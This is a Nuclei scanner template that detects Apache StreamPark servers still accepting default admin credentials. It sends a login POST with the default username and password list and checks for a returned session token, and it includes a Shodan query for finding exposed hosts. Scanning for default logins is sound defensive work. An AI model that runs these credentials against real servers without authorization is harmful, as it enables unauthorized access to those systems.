id: apache-streampark-default-login

info:
  name: Apache Streampark - Default Login
  author: icarot
  severity: high
  description: |
    Apache Streampark server enables default admin credentials. An attacker can execute unauthorized operations.
  reference:
    - https://github.com/apache/streampark
  classification:
    cpe: cpe:2.3:a:apache:streampark:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: apache
    product: streampark
    shodan-query: title:"Apache StreamPark"
  tags: apache,streampark,default-login,vuln

http:
  - raw:
      - |
        POST /passport/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8

        password={{password}}&username={{username}}&loginType=PASSWORD

    attack: pitchfork
    payloads:
      username:
        - admin
        - test1
        - test2
        - test3
      password:
        - streampark

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "userId\":", "username\":", "token\":", "expire\":")'
        condition: and
# digest: 4a0a0047304502203b2d729dea1a8aec5590d8d7f590426877441d8dcb010807b6eb9aafaf875452022100f47ec9cb1355235658c04ac2a6694edfa8abd3c3c6c1d2cdf472998ab247a776:922c64590222798bb761d5b6d8e72950